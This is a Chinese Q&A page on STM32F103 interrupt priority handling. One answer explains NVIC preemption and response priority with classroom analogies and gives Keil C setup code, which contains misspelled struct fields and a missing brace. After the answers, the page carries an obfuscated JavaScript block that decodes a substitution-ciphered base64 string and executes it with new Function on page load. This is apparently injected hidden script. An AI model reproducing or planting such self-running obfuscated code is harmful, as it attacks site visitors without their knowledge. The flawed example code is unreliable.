对于不同的中断源,stm32f103微控制器的响应顺序应遵循什么规则?

2025-04-08 10:41:44
推荐回答(3个)
回答1:

按照中断优先级来处理,一般硬中断之後是软中断

回答2:

看一下参考手册的这一章

回答3:

请百度下NVIC(嵌套向量终端控制),你会了解更多!

下面粗浅地说下吧!

STM32F103采用的是CM3内核。

据某个权威的ARM内核专家所写的《ARM Cortex-M3权威指南》所述: CM3支持256个中断,其中,这256个中断,包含16个内核中断和240个外部中断。可编程设置256级。

但是, STM32并没有完全使用ARM内核的全部,所以,STM32支持84个中断,含16个内核中断和68个可屏蔽中断,可编程设置变为了16级(寄存器SCB->AIRCR 中IP[7:4]占了4位,所以是2的4次方个优先级)。

具体到STM32F103,可用中断更少了,仅有60个可屏蔽中断,毕竟很便宜,还要什么自行车?

在ST公司出的《STM32产品参考手册》(搜索下载简体中文版)的搜索“中断和异常向量”,可以看到这60个中断。


STM32的中断,可分为5组,同时,每个中断,都可以设置一个抢占优先级和一个响应优先级。

抢占优先级高的中断,可以打断抢占优先级低的正在进行的中断。

比如说: 系主任正在开会,校长来了,系主任们是不是要停下来给校长找个合适的座位啊?为毛?因为校长的抢占优先级高啊!

具有相同抢占优先级的中断,高响应优先级的中断不能打断低响应优先级的中断。

比如:系主任们开会,进门或者坐座位,是按照先来后到坐就行,谁也不能抢位置,因为它们的抢占优先级相同。

具有相同抢占优先级的中断,同时发生时,谁的响应优先级高,谁先执行。

比如:系主任们开会,李教授曾是王教授的导师,那么,即使李教授紧挨着王教授后进会议室,王教授也应给李教授让座,因为李教授德高望重,具有更高的响应优先级。

具有相同的抢占优先级和响应优先级的中断,谁先到,谁先执行。

比如: 系主任们开会,同龄的李教授和王教授先后进会议室,那么,李教授就比王教授更有选择好位置的权利,假如李教授和王教授都想选择左面第5个位置的话。

下面以Keil和STM32库函数为例。

设置中断优先级分组为2,因为分组2的抢占优先级和响应优先级均有2位,相对来说,比较均衡,所以拿它来示例吧,注意:最好只设置一次中断优先级分组,以免STM32的中断管理混乱。

在main函数中确定中断优先级分组为组2:

NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2);

设置好了中断优先级分组之后,可以设置抢占优先级和响应优先级了,以下为部分示例代码。

假装需要检测一个外部按键,按键按下时,触发中断,这个按键外接在PB9上,已初始化为上拉输入。

```c

void KEY_Init(void)

//GPIO_InitTypeDef  GPIO_InitStruct;  //GPIO结构体

EXTI_InitTypeDef  EXTI_InitStruct; //外部中断结构体

NVIC_InitTypeDef NVIC_InitStruct;//NVIC结构体


//在main中启用GPIOB对应的时钟,在这里初始化GPIO,


EXTI_InitStruct.EXTI_Line=EXTI_Line9; //外部中断线9

EXTI_InitStruct.EXTI_LineCmd=ENABLE;  //使能    

EXTI_InitStruct.EXTI_Mode=EXTI_Mode_Interrupt;//触发为中断而不是事件

EXTI_InitStruct.EXTI_Trigger=EXTI_Trigger_Rising;//上升沿触发

EXTI_Init(& EXTI_InitStruct);//初始化外部中断


NVIC_InitStruct.NVIC_Channel = EXTI9_5_IRQn;//中断的通道

NVIC_InitStruct.NVIC_ChannelPreemptionPriority = 1;//抢占优先级为1

NVIC_InitStruct.NVIC_ChannelSubtionPriority = 2;//响应优先级为2

NVIC_InitStruct.NVIC_ChanneCmd = ENABLE;//中断使能

NVIC_Init(& NVIC_InitStruct);//初始化NVIC


}

```

然后,就要写对应的中断函数了:

```c


void EXTI9_5_IRQHandler(void)//判断中断来源,是按键,则改变自定义标志位的值

{

if(EXTI_GetITStatus(EXTI_Line9)!=RESET){ 

//确定按键被按下了,做点儿啥?

EXTI_ClearITPendingBit(EXTI_Line9);  

}

}


```

先这样吧!


祝学业精进!

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();